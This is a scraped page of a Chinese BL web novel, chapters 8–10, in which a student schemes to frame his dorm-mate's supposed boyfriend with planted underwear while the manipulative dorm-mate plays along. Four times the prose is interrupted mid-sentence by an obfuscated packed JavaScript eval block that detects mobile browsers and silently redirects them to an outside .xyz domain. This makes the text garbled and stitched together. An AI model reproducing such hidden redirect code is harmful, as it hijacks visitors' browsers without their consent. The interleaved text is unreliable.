;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396557|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触的好吗?】 “啊....”闻言,孟阙观眼睫一敛,眉目中带着几分伤心:“你不愿意让我给帮你涂药,是因为还没原谅我吗?” 涂白一梗,他下意识看了一眼旁边的谢逸,对方神情阴晴不定,正直勾勾看着自己,看得人心里发怵,涂白有点怕,以小说里谢逸的尿性,自己要是说不原谅,估计会被打到骨折吧。 “那....那行吧。”半晌,涂白勉强道。 享受着其他人羡慕都羡慕不了的孟大万人迷涂药福利,涂白如坐针毡,对方白皙冰凉的指尖落在自己手腕上,轻柔得如同一阵风,因为靠得近,身上淡淡的香气笼了过来,涂白后背一个激灵,瞬间起了一层鸡皮疙瘩。 【一个大男人把自己搞的这么香干嘛,又不是红烧肉.啊...好想跑....】 涂白不自觉往后挪动屁股,下一秒,原本涂抹了药膏变得清凉的手腕,突然传来一阵束缚感的剧痛,涂白痛得皱脸抬头,就看见刚刚还轻柔的手指,正结结实实圈着自己的手腕,在红肿的伤处重重按压。 “你干嘛?嘶.....疼死了,松手!”涂白不敢向后扯自己的胳膊,只能一把按住对方的手,低声怒道。 “给你按开啊!”,孟阙观表情无辜,手下动作一点都不停:“你这伤口得按开才行,要不然明天会肿的更厉害。” 明明只一截透明指尖,力气却很大,四两拨千斤地按在腕骨处,涂白怀疑自己的骨头都快被按碎了,要不然怎么会这么痛。 挣脱不开的涂白又气又委屈,出口急道:“你快放手,你再这么样下去,我就不和你当朋友了!” “啊,好了好了,不痛了,揉开了。”孟阙观哄小孩,然后松开手,举了起来,跟投降一样:“还没涂药呢?怎么办?” 涂白抬起湿漉漉的眼睛狠狠瞪了孟阙观一眼,要不是小说里写这货是个傻白甜,他都要怀疑对方故意整他,他一声不吭的夺过药膏,自己动手涂。 “涂白,你生气了吗?”孟阙观低头追看涂白的脸。 涂白不吭声,一边鼓着圆圆的脸颊吹自己的伤口,一边吸鼻子。 对方不理他,孟阙观也不尴尬,垂眸遮盖眼里神情,嘴角则敛着一抹笑,一只手撑在自己的下颌处,另一只手指有意无意敲着桌边。 对于男生的动作,站在不远处将刚刚一切都看在眼里的谢逸陌生又熟悉,跟在孟阙观身后久了,他很早就习惯在做事或者说话前,先去观察对方的脸色,以评估对方今天的精神状态。 发烧对于孟阙观来说是经常性的,每当他料理了一些对他别有用心的人的之后,就会发烧,全身滚烫,熔岩一样。 直到现在为止,他都记得对方某次高烧时,很清醒地对他说过的一句话:“我不觉得难受,我只是觉得不够......远远不够...... 彼时,对方勾着染血的嘴唇,牙齿森白,眼里燃着熊熊火焰,像是要把自己烧成灰烬。 什么不够,是那些人被折磨得还不够吗?还是自己还不够疯? 谢逸不懂,买药的路上他又想,涂白是怎么得罪孟阙观的?孟阙观要这么玩弄他? 说是玩弄,其实就是孟阙观偶尔会使用的把戏,毒蛇一样,用无知无觉的毒药使猎物麻痹,最后等药效过去,再欣赏猎物挣扎死去的过程。 蓦然的,他脑中自动代入了正在涂药的涂白,小小一个身体倒在地上,脖颈处是两个细细的窟窿,血液顺着伤口源源不断流出来,白色削瘦的身体蜷缩痉挛,脸上一半迷蒙一半痛苦。 会是这样的下场吗? 8. 挑拨离间 果然,一切正如涂白预想的一样,顺应着剧情的发展,很快,剧情里“自己”第一次作妖的情节点到来了——他收到了孟阙观生日party的邀请。 “就是一个简单的聚会,你一定要来啊。”孟阙观对正在电脑前忙碌的涂白道。 涂白斜了一眼,孟阙观穿着一件灰色丝光短袖,衣服中间是一串夸张黑色刺绣字母,脖子上戴着一条银币项链,当男生歪头枕着手臂时,那片不规则的金属就冰凉凉的落在了自己桌子上。 “走吧,很好玩的。”男生声音拉长放软,幽蓝近黑的瞳孔仰视涂白,恳求似的抿唇。 【过生日这么奢侈,还办什么聚会,有钱了不起啊?】涂白暗道,不可自控的想起了自己还在老家读书的妹妹,上次给她过生日的时候,自己还在上高三,用了攒了一个月的饭钱,给她买了一条裙子,小女生穿着高兴地在地上转圈,欣赏完后又小心翼翼地叠起来,舍不得穿。 涂白的生活费很大一部分都是依靠各种竞赛、奖学金以及助学贷款,上次奖学金的错失已经给他的生活带来了影响,这些钱不仅要顾自己的生活,他还会定期给家里寄一份,补贴家用,所以,不管这样,这次的竞赛奖金,他一定要得到! “生日快乐啊,到时候我一定去。”涂白道。 孟阙观眼睛一亮,一下子笑了:“那就这么说定了,到时候我让谢逸去接你。” 涂白点头应下,心里冷笑。 【傻缺,好好开心吧,到时候,我一定会送一份“大礼”....】 忽然,男生推开椅子本来要离开的身体一顿,木椅在宿舍地板上划出刺耳呻吟随即又戛然而止,涂白吓了一跳,思路被打断,他抬头,视野一点点被浓重阴影蚕食。 “......怎、怎么了.....”涂白吞了吞喉咙,仰视着上空的一张脸,他下意识想动,却感觉到自己靠着的椅背上正按着一双手,骨节和小臂肌肉隔得他背部不适,有一瞬间,涂白觉得那双手似乎正牢牢压在自己肩上,让他动弹不得。 阳光被隔绝在身后,极具冲击感的五官缓慢向涂白逼近,他离那颗惊心动魄的红痣越来越近,对方略长的发丝落下,几乎扫在了涂白的唇上,是冰凉如丝的触感。 “涂白。”男生嘴角噙着一抹笑,和刚刚邀请涂白时的很不一样,那种无害的接近于撒娇的恳求消失的一干二净,红唇弯刀一样饱满,晶亮寒凉,至于那双瞳孔,更是深不见底。 “我这个人不太喜欢什么惊喜”男生缓缓道,如同蛇吐信子,带着嘶嘶的尾音:“所以,如果不要送我什么礼物,你人来了,我就最开心了,好吗?” 涂白滚了滚喉咙,后背汗毛竖立,他点了点头,视线逃避一样地游离。 “真乖。”头被男生摸了一把,涂白都无知无觉,直到压在身上的阴影撤去,阳光小心翼翼覆盖下来,怔愣在原地的涂白,才恍然打了个冷颤。 * 很快,就到了孟阙观生日那天,就像孟阙观安排的那样,来接他的是谢逸。 坐在副驾上,瞥了一眼驾驶室面无表情开车的谢逸,涂白实在想不明白,这男的和男的搞对象,也能这么恋爱脑,人家让你干嘛就干嘛?你不吃醋的吗?你对象让你送我,我好歹也是个男的啊?还是对于谢逸来说,自己的角色就相当于孟阙观的闺蜜? 涂白搞不清楚,他有正事要干。 “哎呀,这是你的车吗?看着真宽敞啊!”和上次孟阙观开的那辆不一样,这是一辆纯黑的卡尔曼国王,无论是体积还是身形,都明晃晃是一辆越野车,悍然结实,想让人直接开到草原上去。 谢逸没有说话,他看着前方,当涂白不存在一样。 涂白无奈,搭了几次话,对方都不理他,越发吃瘪,路程的后半段,他索性也不吭声了,心里飞快盘算着把要给孟阙观的“小礼物”塞在哪里,思想来去,保险起见,还是决定等聚会完毕,看这两个人了谁送自己,谁送他,就塞到谁车上,然后再当着另一个人的面发现。 修正好计划的涂白心里妥当了,更不想理谢逸了,继续在心里默想剧情,这次生日聚会,除了有“自己”第一次作妖之外,围在孟阙观身边的“莺莺燕燕”也出来了大半,其中最重要的就是手拿第二攻籍的疯劈年下攻,别看是三个攻里年纪最小的,但却是孟阙观身边手段最下作的男人,后期什么囚禁、骚扰随手就来,没一点法制观念。 都是一群神经病。 很快就到了会所门口,下车的时候,涂白不会解安全带,扯了好半天,片刻,旁边一只手伸了过来,就在准备按下某个按钮的时候,涂白误打误撞先一步按下,瞬间,安全带擦着谢逸的手收了回去,尾端的金属打在他手背上。 涂白看见了,扬了扬眉,狡黠一笑,两颗梨涡若隐若现,嘴巴里却毫不走心的说着:“抱歉哦。” 谢逸看了手背上几乎快要消失的红印几秒钟,没什么表情,跟在涂白后面下了车。 会所里很安静,只有零星几个包间,大厅走廊里只有服务人员有序沉默的走动着,两人跟着侍者一路往走廊最深处走,直到停在最顶端最大的包厢门口。 涂白听见有细微的声响从里面溢出,不等他再听,门就被推开,瞬间,各色欢呼声音乐声涌进耳道,空气中弥漫着一种靡靡的香气,另一个世界在涂白面前猝不及防的展开了。 这是一个极大的空间,地上是足够软的地毯,包厢被古色古韵的木质趟门隔开,中间摆放着沙发和实木茶几,旁边甚至还有一架施坦威的酒红钢琴,房间里的灯光并不晃眼,悠然地落在四处,给人一种昏昏然的感觉。 所有的声音都来在沙发上的几个男生,看见谢逸进来了,其中一个忙于操纵手柄的,抬眼问了句好,正欲收回视线,下一秒就定在了紧紧贴着谢逸站着的涂白身上。 “哎,逸子,你这从哪里挖过来的小土豆啊?”男生一头金发,打着耳钉,五官精致非常,眉眼中带着一股桀骜不驯的味道,一张嘴说话就败好感,涂白心里直翻白眼。 听见他这么说,几个男生也都抬起头来,被这么多人注视着,涂白有些不自在,想要往谢逸身边靠靠,然而谢逸头也不回迈步坐到了空着的沙发椅上,只剩涂白站在原地。 “喂,不会是别的包间走错了吧?看着傻乎乎....”旁边一个男生留着板寸,长相很凶,上下打量涂白,不耐道。 涂白张口想要解释,就听见沙发另一端正在打盹的人轻嘶了一声:“好吵......”,那人皱眉卸下眼罩,眯眼望向孤零零的涂白:“这谁?” “小可爱,我是施意绵,你叫什么名字?”金发男笑眯眯对涂白道。 施意绵?这不就是攻二的名字吗?他就是那个疯批年下?涂白对着金发男生的脸看了半天,看着和自己差不多大,但穿衣风格明显不同,粉色宽松T恤和破洞牛仔衬得人青春阳光,和房间庄重的风格唱反调。 所以就是这么一个娃娃脸干出短信骚扰、小黑屋囚禁的勾当?看不出来啊? 那么其他几个人呢?涂白不动声色观察面前几人,是炮灰攻吗?小说里的除了三大正攻,围在孟阙观身边的炮灰攻也不少,基本上没有人能逃脱孟阙观万人迷体质的诱惑,跟蚊子闻到血一样。 正想着,身后的包厢门被推开。 “抱歉,我来迟了。”一个清朗的声音从身后传来,不等涂白反应,接着肩膀重重一沉,是一只胳膊压了上来。 “涂白,你真的来了。”温热清香的气息陡然贴近耳廓,涂白下意识侧脸,看见面前人含笑的面庞。 是孟阙观。 “我好高兴。”孟阙观低声道。 说完,他不顾周围视线顺势拉起涂白的手,让他坐在最近的沙发上,自己则紧贴着涂白坐在了旁边。 气氛诡异地安静,剩下的四双眼睛都汇聚在旁若无人的两人身上。 涂白这才注意到,今天孟阙观的穿着并不像往常在学校时那么随意慵懒,相反今天他穿着一身炭黑笔挺西装,像是纪录片里的老工匠忙活两月定制出来的那种,凑近了可以看见硬挺面料上隐约闪现的格纹,里面则搭配着一件幽蓝丝绸衬衫,领口随性张开,衣料水一样光滑,被孟阙观的宽肩窄腰撑起,矜贵不可言,像是刚刚参加完某个高级宴会。 涂白低头再看看自己,白短袖、牛仔裤,再配一双洗的发白的板鞋,对此,他本人没有任何云泥之别的羞感,大眼睛一转,脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说起朋友,不知道是不是涂白的错觉,他总觉得这几个人的相处模式有点奇怪,好像都是在围着孟阙观转,有点小心翼翼讨好的意味,却又不敢凑得近,不过这也可能就是万人迷的魅力,众星捧月可不得小心谨慎嘛。 吃饭前涂白先去了一趟包厢里的洗手间,会所里的包厢很大,各种功能区,跟个大平层一样,涂白洗完手出来,迎面对上了走过来的孟阙观。 “涂白,今天要玩得开心哦。”孟阙观叮嘱。 涂白点了点头,那肯定,戏都够他看了。 “自在一些,他们看着不好相处,其实人挺好的。”孟阙观安慰道。 【大哥,您还是操心操心自己,多长点心吧,自己身边是人是狼都分不清,蠢死了。】 果然和书里说的一样,孟阙观就是个傻白甜,涂白除了无奈更多的是对对方智商的鄙夷。 随意摆了摆手,准备离开,突然又被对方叫住。 “涂白,你口袋里是什么?好像快要掉出来了。”男生看着涂白右边裤兜道。 涂白下意识低头,看着自己黑色口袋里露出的一截蕾丝白边,登时吓了一跳,当即把手插进口袋,将露出的东西紧紧攥回手心。 迎着对方好奇的眼神,涂白舔了舔干涩的唇,脸色发白地扯了扯嘴角:“...没、没什么,是卫生纸....” 说完,不等对方反应,转身就急匆匆的走了。 手心里薄薄的布料发热,勾边的蕾丝纹理粗糙的摩挲着涂白的皮肤,涂白心跳如鼓,想到几天前自己买到它时的样子。 购物网站的词条是——丁字裤男生性感激情纯欲骚气!没人能拒绝。 面红耳赤,是的,他买了一条骚包的丁字裤。 这个就是他思来想去挑拨谢逸和孟阙观之间的秘密武器,不用自己现身勾引,只需要这么一条内裤。 他要做的这条内裤放到两人随便一人的车上,然后再想办法让另一个人发现,这样误会不就来了,大功不就告成了? 应该没有情侣受得了这么一条不是我的,但出现在自己男友车上的骚包内裤吧,涂白勾唇恶毒一笑,哈哈哈,比赛奖金,我来了! 9.生日礼物 吃饭的时候,涂白被孟阙观拉着坐在了他旁边。 “今天有你喜欢的带子酥,一会儿多吃点。”孟阙观道。 带子酥?就是上次自己当着张适的面吃掉他碟子里的那种点心?坦白说,涂白对于这种甜甜咸咸的东西不感冒,他嗜辣,但貌似孟阙观的口味偏清淡。 门敲响,专门配送的蛋糕到达,纯银托盘上是通体黑色的蛋糕,手工花纹繁复费时,听着服务人员像对待珍惜动物一样仔细低声介绍用料,涂白实在没忍住,偷偷举起手机对着蛋糕拍了一张。 然后挂网搜索,原模原样的蛋糕没搜出来,但一旁的盒子搜出来了,果真,忽略前缀的一串欧洲稀奶油、马达加斯加香草、伊索马特糖,出来的是一串令人咋舌的金额。 涂白拍照的举动,被周围的几个人看在眼里,谢逸面无表情,施意绵笑而不语,江齐和周宇京眼中则是不约而同划过厌恶蔑视。 “在看什么?”旁边的孟阙观凑了上来。 对于拍照被发现,涂白没有任何尴尬,他点了点手机屏幕上的一串字,打量旁边几个身穿制服的的配送人员。 “网上说配送员都是千挑万选一米八五的帅哥.....果然都是噱头..” 孟阙观深有同感,认真提议:“那这样吧,一会儿我给你切蛋糕,给你夹菜添酒,我一米八五都超了,怎么样?” 涂白皮笑肉不笑:“不用了,你不是帅哥。” “涂白说话好伤人.....” 旁边几个人就看见面前两人彷若无人地交谈,直到被询问是否要点蜡烛时才停下。 包厢内幽暗一片,只烛光发出昏昏然的光,光圈之后是孟阙观的五官,他闭眼许愿,细碎的光火落在他眼睫上,红唇被镀着一层薄瓷釉质,如同天使一样。 “我希望大家可以永远做朋友。”他嘴角挂着一抹笑,在黑暗中缓缓睁开眼睛。 瞳孔被扑朔的火焰点燃,越烧越猛烈,连带着眼尾的红痣都如同溅出来的岩浆,几乎化穿他的皮肤,露出里面森森嶙峋的白骨,他低喃着自己的愿望,像是颂出一段咒语。 不待众人反应,轻扑一声,彻底陷入黑暗,咒语生效。 开灯的时候,涂白看见了对面几个人的脸色,除过谢逸垂眸依旧面瘫以外,剩下几个人脸色都有些发白。 正式用餐,涂白果真享受到了孟阙观的服务,第一份蛋糕先给自己,还亲自添菜倒酒,然而对于高脚杯里猩红的液体涂白并不敢兴趣,要知道在原文里,“自己”就是灌了酒之后,半醉半醒的跑去坐人家谢逸大腿的,就算他下辈子变成猪饲料,这辈子他都不敢出坐男人大腿的事,他丢不起老涂家的人。 “涂白,你不喜欢喝酒吗?这是特意选的酒,不醉人的。 ”孟阙观把一颗带子酥夹在涂白碗里。 “我喝不了,我酒精过敏。”涂白张嘴敷衍。 【哼,笑话,小爷我一扎啤的下去厕所都不带跑的,害怕你这葡萄汁?】 “好吧,那给换果汁好了。”孟阙观失落:“从法国带回来很久了,一直在酒窖放着,这次你来了,才特地拿出来的。” 涂白眼睛眨了眨,掏出手机检索一番后,然后淡定抬头,自动删除了自己刚刚酒精过敏的借过口:“行吧,那我就喝点吧。” 【靠,快二十万,试问谁能拒绝,高低要尝一尝!】 就这样,涂白喝下了第一口猩红,丰沛而浓郁的果香刺激着舌苔味蕾,微酸醇厚的口感奇异的令人着迷,酒液丝绸一样滑进胃里,只留下浓郁的醇香。 涂白的酒量终于彻底公布在酒桌上,不过一杯的功夫,脸就红了,和他刚刚的借口一样,他确实酒精过敏,至少酒精不耐受,但他本人完全不知道,就感觉脸颊有些发烫。 餐至中途,孟阙观去了洗手间一趟,桌上留下涂白一人。 此时的涂白已经有些熏然,思绪惫懒,眼皮都快要挣不开,原本莹白的脸颊涌上了一层薄粉,粉色一路蔓延至脖颈处,整个人熟得像快要破了一样。 孟阙观的左手边坐着施意绵,眼睛在涂白身上盯了片刻,然后移了过去:“涂白,还好吗?” 有些神志不清,涂白费力转动大脑,辨认眼前人:“你.....” “我是施意绵啊,阙观的朋友啊。” 涂白眼前晕得厉害,只听见声音一会儿近一会儿远的。 “我特别好奇,为什么阙观和你的关系这么好啊?能告诉我吗?”施意绵靠近了一些,对着男生红热颤抖的耳廓道。 “喂!你别越界!”对面江齐低声呵斥施意绵。 施意绵不耐啧了一声,不爽道:“那有什么?你不好奇?江齐,他也是我们的“新朋友”,食物链里又添人了,你难道不想知道他是不是最底端?” 周宇京冷笑一声:“怎么?这样的,你感兴趣?” 施意绵耸了耸肩:“没兴趣,但是和阙观有关系的,总是好奇嘛。”话落,施意绵眼睛一转,对着一边安静用餐的谢逸道:“喂,谢逸,你知道些什么?” 谢逸没听见一样,眼皮抬也不抬,用餐礼仪教科书一样,须臾,放下筷子,用白帕拭了下嘴巴。 施意绵咬牙,恨不得打破对方的面具,都是和孟家利益往来颇深的世家,看着风光霁月,私底下的阴烂各自心里都有数,围着孟阙观不也都是为了各自的世家能和孟家继续较好,一开始,或许还有人走眼以为长那样一张脸的人只能做菟丝子,但很快,孟阙观就用行动证明,他能把人玩得只剩半条命。 于是很快,团体里的潜规则形成,只要让孟阙观蹙眉的,几个人就要很有眼色的“处理”,这也算是孟家给予商业往来的代价。 不过说来也奇怪,这些被处理的,无一不是对孟阙观心思不纯的,企图干的事情也非常恶心。 然而偶尔,孟阙观心情好的时候,会留下几个食物链低端的“待处理”供自己愚弄玩乐,像折磨一只蚂蚁一样,乐此不彼地看着对方头破血流,直到他兴致耗尽,才索然踩死。 或许是跟在孟阙观身边久了,不知道什么时候,看着对方愚弄过程,施意绵竟然不可自控地发现了乐趣,并且跃跃欲试。 他不知道其他几个人怎么想,但他看着江齐和周宇京的眼神以及反应,只想骂一句装什么装! “奖金!”已经彻底醉过去的涂白突然大吼一声,一把推开碍事的施意绵,拍桌而起,大放狂言:“这一次,我一定拿到..嗝,比赛奖金!” 几个人也被吓了一跳,就看见全身粉白的涂白站在吊灯下面,柔柔的光落在他不稳当的身上,漆黑的头发被蒙上一层光圈,眼睛湿润明亮,嘴唇不红,而是比粉更粉的樱色,涂一层薄薄晶光,似乎可以嗅到酒液的香气。 几个人眼神不动,没人说话。 “我一定....要拿到第一名!我要....让我全家吃香.....喝辣!”涂白摇摇晃晃,眼前发虚,但大脑几度兴奋,只看见光明的未来向他招手。 趔趄几步,在谢逸旁边稳住手脚,然后他哥俩好似地拍了拍对方硬挺的肩膀:“你信不信,我可以打败你们,夺得第一名!” 谢逸看着肩膀上的手,眸色不明,结结实实的温度和质感,原来不止脸红,指尖也是粉的。 “好了,不多说了。”涂白艰难地掏出自己的手机丢到谢逸面前,打着舌头道:“V、V我五十,我让你看看我的逆袭之路!” 话落,脚下不稳,就要往人家大腿上面栽。 然而下一秒,他就被从后面轻轻抱住,一双大手揽着他的腰将他摆正,涂白哼唧了一声,摇了摇海水似的大脑,转头一看,登时,横眉冷对。 “还我第一!”涂白高呼,像巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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涂白面上不吭气,得到确切消息后,手悄悄裤兜里咕涌,摸到一片绵柔后,准备往座位缝里面塞,奈何豪车高档,椅背衔接处紧得要命,不得已最后他只能用脚拨到座位底下。 就这样,一切有惊无险的布置好了,涂白心安了。 “涂白,我去前面加个油。”孟阙观道。 车停在了加油站,涂白看着24小时的便利店还开着,下车进去买了一罐解酒糖。 加完油、买好糖后,两人继续开车往回走,很快回到了学校。 车在了地上停车场,已近深夜的校园里格外安静,发动机的嗡鸣声渐消,顶灯打开,涂白去按安全带的纽扣,他头晕得厉害,想赶紧回去睡觉,但车门拉不动,车还上着锁。 “涂白。”旁边的人叫他。 涂白不耐转头,昏然中,孟阙观正看着自己,瞳孔映着顶灯两点怵亮的白光:“你之前不是说要送我生日惊喜吗?” 酒精让涂白脑袋发闷,他敷衍地点了点头,只想赶紧下车,但却找不到车拉手,只能使劲推门。 男生不理会涂白的急切,他缓缓卸开自己的安全带,一阵金属卡扣的闷响之后,他的脸上浮现出一抹凉凉的笑意,苍白的大手在忙着找拉手的涂白面前徐徐张开。 “这就是你要送给我的礼物吗?”他一字一句,声音带着青苔的潮气。 涂白抬眼,瞬间,嗡的一声,脑袋里的酒意如退潮一样,散了个一干二净,身上的所有毛孔都悚然张开了! 只见他瞳孔骤然紧缩,紧紧瞪着对方的手心,而孟阙观手心里躺着的赫然就是刚刚他费尽心思藏在座位底下的蕾丝内裤! 10.离开 涂白整个人都不好了,但好在反应奇快,按下狂跳心脏,一脸迷茫:“你.....你说什么啊?” 顶灯照得面前孟阙观的五官格外清晰,男生盯着涂白片刻,看不出什么情绪:“我在你刚刚坐过的位子下面,找到了这个。” 他又问了一遍:“是你的吗?” 涂白飞快瞥了一眼男生手里的蕾丝布料,当然是他的了,用劵都花了他二十九块九呢,一黑一白一共才两条,比他地摊上批发一包都贵。 “什么东西,你到底在说什么啊?”涂白皱眉:“这是内裤吧?我怎么会有这种的!” 涂白说谎时语气很真挚,但是脸上的表情就不是那么一会儿事了,即使他佯装生气,眼睛却比平常眨得更频繁。 孟阙观也发现了,男生眼睫毛很密,忽闪忽闪的,遮蔽着并不诚恳的眼睛,平常就白粉的脸颊,不知道是因为喝酒还是说谎,粉得跟花瓣一样,圆圆鼓起,唇也紧紧抿着,但因为唇珠饱满,勉强抿成一道短短的线,有一种啫喱一样的质感。 “生气了吗?”孟阙观突然问。 涂白愣了一下,立刻理所应当道:“当然了,你随便冤枉我,我怎么可能高兴!” 孟阙观静静盯着涂白,顶灯的光终于被吞噬了进去。 涂白思索了一下,贴心给出破案思路:“你好好想想看,除了我,这副驾还有谁坐过....比如.....谢逸啊,或者你朋友之类的,或许就是他们的。” 【怀疑的种子一旦种下,就算是对方再辩解,再自证也没有用,因为信任已经破碎了!】 涂白压抑着嘴角的微笑,忐忑不安的看着孟阙观,唯恐没有栽赃给谢逸,然而很快,孟阙观的表情就打消了涂白的不安。 只见孟阙观不知道垂下眸子,很快,脸上就涌现出一副由震惊转为悲伤的模样。 “我想起了。”半晌,对方抬头,眼睛里已经满是破碎,令人心疼:“上周二谢逸开过我的车出去,在他前面,我再也没有借给过任何人开。” 涂白心里敲锣打鼓,欢呼雀跃,面上同情地摇摇头:“看来就是他了,他真不是个东西!怎么能....背叛你呢,你人这么好,又长得这么好看,他真是瞎了眼!” 孟阙观没有问他为什么认定自己和谢逸是一对,反而认真求问:“所以你也觉得我好看吗?” 涂白一口义愤填膺卡在喉咙里,他整理了思路,企图把话题引回来:“当然了,所以他背叛你,简直不可饶恕,所以呢,你下来准备怎么办?” 【快快快,马上开撕绝交,然后我和张适拿第一,我要用奖学金买个新笔记本电脑,然后再给涂纸买个手机!】 孟阙观不吭声了,蔫了一样躲在阴影里,像是被谢逸伤透了心,沉浸在悲痛的情绪里无法自拔,身体甚至微微颤抖,涂白叹息地拍了拍对方的肩。 挺硬的,涂白偷偷去摸自己的,骨头上只有一片软肉。 “涂白。”对方突然抬头,涂白吓了一跳,慌忙放下自己的手。 “我想好了,”男生的眼睛像是在水里浸泡过,他故作坚强道:“算了,我还是原谅他吧,毕竟,我们在一起的时间也不短了.....” 一时间,涂白震惊得说不出话来。 “我相信他只是一时犯错,再说了,我又算他的什么呢?”男生哀叹,一脸彷徨。 涂白哑然,继而内心嘶吼,外表恨铁不成钢:“你想想啊,你在这里难受成这样,他谢逸知道吗?保不齐背后和无数个男的纠缠不清,说不定还在笑你傻,你要支棱起来啊!” 孟阙观又把头低下了,看不清五官,依旧只有身体在轻微发抖。 “对,你说的对,我真傻,我不能就这么轻易的原谅他,可是我真的好痛苦。” “唉,总会过去的,想想孩....想想你自己。”涂白道。 沉寂了片刻,孟阙观终于平复了情绪,他抬头,凄婉道:“多亏你在,所以这段时间,涂白你可以多陪陪我吗?” “啊?” “不可以吗?我怕我会忍不住去找他。” “当然可以!”涂白立刻道,为了奖金,他忍了。 回宿舍的时候,孟阙观让涂白先走,说自己要再静一静,涂白二话不说转头就走了。 直到对方的背影消失在台阶处,孟阙观才终于忍不住,向后靠倒在座椅上,手臂缓缓搭在眼皮上。 接着,不可自控的,刚刚还字字句句诉说痛苦的唇,缓缓上扬到极致弧度,猩红饱满的快要喷溅出来。 真的.....太有意思了.... 刚刚他经历了有生以来第一次,最痛苦的忍笑,天知道,他几次差点笑出声,尤其是对方一脸故作担心的安慰他时。 什么开车的上一个人是谢逸,这可是昨天直接从码头提回来的新车,第一个载的就是刚上去的那只兔子。 “哎呀,真的是.....”红唇轻嘶一声,手臂下移,露出一只幽暗波澜瞳孔,许是刚刚经历的情绪波动,瞳仁的四周还有被挣开撕裂的红线。 “想好好玩玩了。” * 一连几天,涂白的心情简直好得不能太好了,洗澡都要哼歌的那种,他和张适的课题作业也顺利完成拿到了不错的分数,连带着手里要做的校赛准备都顺利了不少,他和张适准备开发一种应用于临床医学的医疗器械,主要用于神经介入,导管大体已经设想的差不多的,就差临床试验收集数据了。 但是张适不知道最近在忙什么,就连孟阙观的生日宴也没去,总也不见人。 涂白一时之间有些摸不准,因为在原文剧情里,张适早在孟阙观住进宿舍两周后,就因为龌龊行径被暴打出局了,后来再没出现过,现在自己改变了剧情,张适会怎么样呢?涂白不知道。 晚上快十点的时候,涂白收到了张适的一条微信,问他孟阙观有没有在宿舍,涂白说没有。 一起住了快一个月了,涂白也基本上摸清了孟阙观的作息,毕竟是十指不沾阳春水的少爷,宿舍的环境对人家来说还是太“恶劣”了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416422|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以这货也不是天天住宿舍,一周两天象征性地住一住,剩下五天人就不知道去哪里了,这么一想,涂白又回忆起昨天晚上,对方恶心巴拉地说让自己陪陪他,瞬间起了一层鸡皮疙瘩。 陪什么陪,想要生活过得去,头上就得带点绿,自己被女神拒绝的时候,怎么没人陪陪他? 快到十点半的时候,张适回来了,宿舍的门被悄悄推开,一双豆豆眼先挤进来打量一番,确定只有涂白一个人在后,才松了一口气。 “你怎么回事?怎么最近不见人呢?”涂白在蹲在洗漱台地板上库吃库吃搓袜子,手上都是白泡泡。 “没...没什么,去、去图书馆了。”张适结巴道。 不知道是不是涂白的错觉,他总觉得几天没见,这货好像苗条的不少,不对,涂白警觉,他不会还对孟阙观贼心不死吧?谢逸人高马大一个当时差点把自己胳膊扭下来,就这还没给他教训啊,还捣鼓起自己体重来了。 涂白冲了冲手,立刻凑到张适面前,压低声音:“我警告你啊,你可不要再对孟阙观动什么小心思,他对象捏死咱俩就跟挤痘痘似的,你可不要想不开啊!” 张适闻言一愣,继而连连摇头:“我不敢....我不敢.....原来你知道啊....”知道孟阙观是个什么样子的人,那他就不用再多嘴了。 “我当然知道了,我知道的可多了。”涂白洋洋得意。 张适深吸一口气,盯着涂白看了片刻,突然道:“大白,我有件事情想要和你说。” “咋了?” “对不起!”突然,张适对着涂白扎猛子一样深深鞠了一躬,涂白吓了一条跳,往后退了退。 张适直起腰,无比歉意道:“我决定......搬出宿舍了,导员已经批准了,至于那个比赛,我恐怕也参加不了了。” 晴天霹雳,涂白大脑一片空白,片刻,他才找回声音喃喃道:“为、为什么啊?” 张适知道自己这么做实在很缺德,但他没办法,他是一点都不想在这个宿舍里待下去了,他也很痛苦,一想到和孟阙观住在一个屋檐下,整个人吃不好睡不好,夜夜噩梦,才三周过去,就瘦了二十斤。 “我家里人换工作,刚好在咱们大学附近租了房子,我跟着他住,自在一些,至于比赛,说实话,我最近忙着准备托福考试,我大三大四想出去看看。”这些都是实话,但其实如果不是为了躲孟阙观,这些也都不是理由。 涂白脑子半天没转过弯来,只是脑子里有一个模模糊糊的想法,这是剧情在修正吗?本来应该下线的张适因为自己并没有下线,所以要以另外一种方式在剧情中消失? 